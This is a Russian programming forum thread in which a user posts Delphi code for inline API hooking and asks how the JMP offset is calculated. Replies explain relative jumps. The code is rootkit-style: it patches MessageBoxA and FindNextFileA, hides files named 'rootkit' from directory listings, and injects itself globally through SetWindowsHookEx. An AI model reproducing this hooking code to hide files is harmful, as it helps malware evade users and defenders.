Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 25.09.2015, 19:15   #1
CODCHIK
 
Регистрация: 29.04.2013
Сообщений: 9
Печаль Выбор адреса для записи кода

Привет всем. Не могу понять одну строку кода JMP_Rel := DWORD(HookFunct) - (DWORD(InterceptInfo.FunctionAddr) + 5);
Код:
uses
  Windows,
  SysUtils,
  Classes,
  TlHelp32;

type
 // Информация о перехваченной функции
 TInterceptInfo = record
  LibraryName  : string;  // Имя DLL
  FunctionName : string;  // Имя функции
  FunctionAddr : Pointer; // Адрес функции
  HookAddr     : Pointer; // Адрес перехватчика
  FunctCode    : packed array [0..4] of byte; // Первые байты кода функции
  HookJMP      : packed array [0..4] of byte; // JMP на перехватчик
 end;
var
 HookHandle   : hHook;      // Handle, возвращаемый SetWindowsHookEx
 MessageBoxInterceptInfo    : TInterceptInfo;
 FindNextFileAInterceptInfo : TInterceptInfo;
// Модификация машинного кода функции
function SetHookCode(InterceptInfo : TInterceptInfo; ASetHook : boolean) : boolean;
const
 CodeSize = 5; // Размер модифицируемого кода
var
 Tmp, OldProtect     : dword;
begin
 // 1. Настройка защиты
 VirtualProtect(InterceptInfo.FunctionAddr, CodeSize, PAGE_EXECUTE_READWRITE, OldProtect);
 // 2. Запись в первые байты машинного кода функции
 if ASetHook then
  Result := WriteProcessMemory(GetCurrentProcess, InterceptInfo.FunctionAddr,
                     @InterceptInfo.HookJMP[0], CodeSize, Tmp)
 else
  Result := WriteProcessMemory(GetCurrentProcess, InterceptInfo.FunctionAddr,
                     @InterceptInfo.FunctCode[0], CodeSize, Tmp);
 // 3. Восстановление атрибутов защиты
 VirtualProtect(InterceptInfo.FunctionAddr, CodeSize, OldProtect, Tmp);
end;

function InterceptFunctionEx(ALibName, AFunctName : string; var InterceptInfo : TInterceptInfo; HookFunct: Pointer) : boolean;
var
 Tmp     : dword;
 JMP_Rel : dword;
begin
 Result := false;
 // 1. Поиск адреса фукции
 InterceptInfo.FunctionAddr := GetProcAddress(GetModuleHandle(PChar(ALibName)), PChar(AFunctName));
 if InterceptInfo.FunctionAddr = nil then exit;
 // 2. Сохранение параметров в структуре
 InterceptInfo.LibraryName  := ALibName;
 InterceptInfo.FunctionName := AFunctName;
 InterceptInfo.HookAddr     := HookFunct;
 // 3. Считывание машинного кода функции
 Result := ReadProcessMemory(GetCurrentProcess,
                    InterceptInfo.FunctionAddr,
                    @InterceptInfo.FunctCode[0], 5, Tmp);
 if not(Result) then exit;
 // Подготовка буфера с командой JMP, формат E9 хх хх хх хх
 JMP_Rel := DWORD(HookFunct) - (DWORD(InterceptInfo.FunctionAddr) + 5);
 InterceptInfo.HookJMP[0] := $0E9;
 CopyMemory(@InterceptInfo.HookJMP[1], @JMP_Rel, 4);
 // Запись машинного кода JMP, передающего управление перехватчику
 Result := SetHookCode(InterceptInfo, true);
end;

// Перехватчик MessageBoxA
function myMessageBoxA(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall;
begin
 // 1. Восстанавливаем машинный код функции
 SetHookCode(MessageBoxInterceptInfo, false);
 // 2. Вызываем функцию
 Result := MessageBoxA(hWnd, lpText, PChar(String(lpCaption)+'(перехвачена !)'), uType);
 // 3. Восстанавливаем JMP на наш перехватчик
 SetHookCode(MessageBoxInterceptInfo, true);
end;

function myFindNextFileA(hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall;
begin
 try
  // 1. Восстанавливаем машинный код функции
  SetHookCode(FindNextFileAInterceptInfo, false);
  // 2. Вызываем функцию
  Result := FindNextFileA(hFindFile, lpFindFileData);
  while Result do begin
   if pos('rootkit', LowerCase(lpFindFileData.cFileName)) = 0 then exit;
   Result := FindNextFileA(hFindFile, lpFindFileData);
  end;
 finally
  // 3. Восстанавливаем JMP на наш перехватчик
  SetHookCode(FindNextFileAInterceptInfo, true);
 end;
end;

// Функция-обработчик перехватчика
function KeyHook(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
begin
 // Вызов следующего в цепочке обработчика
 Result := CallNextHookEx(HookHandle, nCode, WParam, LParam);
end;

begin
// MessageBoxA(0, 'Message1', 'Rootkit', 0);
 // Перехват MessageBoxA
 InterceptFunctionEx('user32.dll','MessageBoxA',
                     MessageBoxInterceptInfo, @myMessageBoxA);
 InterceptFunctionEx('kernel32.dll','FindNextFileA',
                     FindNextFileAInterceptInfo, @myFindNextFileA);

// MessageBoxA(0, 'Message2', 'Rootkit', 0);
 HookHandle      := SetWindowsHookEx(WH_CBT, @KeyHook, HInstance, 0);
end.

Последний раз редактировалось Stilet; 25.09.2015 в 19:22.
CODCHIK вне форума Ответить с цитированием
Старый 25.09.2015, 19:27   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,792
По умолчанию

Цитата:
JMP_Rel := DWORD(HookFunct) - (DWORD(InterceptInfo.FunctionAddr) + 5);
Как я это понимаю: Вычисляется дистанция в байтах между началом функции-хука и функции-жертвы. 5 байт добавляется, потому что сама команда скачка (как в комментах сказано) занимает 5 байт. если мне не изменяет память JMP с относительным прыжком умеет скакать вперед, если операнд положительный, и назад, если операнд отрицательный. Соответственно тут получится команда "Перескочить через HookFunct-FunctionAddr байт назад или вперед."
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 25.09.2015, 19:45   #3
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,493
По умолчанию

rootkit? ну, ну...
waleri вне форума Ответить с цитированием
Старый 25.09.2015, 19:53   #4
CODCHIK
 
Регистрация: 29.04.2013
Сообщений: 9
По умолчанию

объясните пожалуйста на картинке процесс вычисления адреса и запись. мой цель изучать перехвать API
Безымянный.jpg

Последний раз редактировалось Stilet; 25.09.2015 в 19:59.
CODCHIK вне форума Ответить с цитированием
Старый 25.09.2015, 19:58   #5
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,792
По умолчанию

Цитата:
ну, ну...
Ну хочется младшему поколению крутыми кулхацкерами себя почухать
Пусть побалуется, пока не осознает всю истину мироздания
Цитата:
объясните
А то что я написал непонятно?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 25.09.2015, 20:00   #6
CODCHIK
 
Регистрация: 29.04.2013
Сообщений: 9
По умолчанию

мой цель изучать перехват api не больше.
немного плохо понимаю как исполняется команды и адресация.

Последний раз редактировалось CODCHIK; 25.09.2015 в 20:02.
CODCHIK вне форума Ответить с цитированием
Старый 25.09.2015, 20:08   #7
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,792
По умолчанию

Тебе нужны базовые знания ассемблера. Без них никуда. Без них не поймешь никакие обьяснения.
Ну попробуем по другому.
Допустим есть две функции:
foo() по адресу $123456
Hook() по адресу $789654
Твоя формула соответственно будет выглядеть так: $123456-$789654 если foo находится по коду выше или $789654-$123456, если ниже чем Hook()
Сколько между ними байт:$789654-$123456=6709758 байт.
Значит именно через столько байт перепрыгнет "JMP_REL", чтоб достичь функции хука из функции-жертвы.

Если foo находится по коду выше, то "JMP_REL" будет перепрыгивать на -6709758, т.е. назад, есл выше - то на 6709758 вперед.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 25.09.2015, 20:19   #8
CODCHIK
 
Регистрация: 29.04.2013
Сообщений: 9
По умолчанию

теперь я понял как это работает. спасибо за ответь вы мой наставник "Stilet"
CODCHIK вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Выделить запросом наименование улицы из записи адреса Den1zzkkk0 Фриланс 6 02.02.2012 09:06
Выделить запросом наименование улицы из записи адреса Den1zzkkk0 SQL, базы данных 5 27.01.2012 20:02
преобразование десятично-точечной записи ip-адреса в их двоичное представление 0vavan0 Работа с сетью в Delphi 1 17.11.2010 09:40
dbgrid выбор записи aleksvander БД в Delphi 2 03.03.2010 12:50
Выбор диаппазона при помощи кода komar73 Microsoft Office Excel 4 25.03.2009 18:10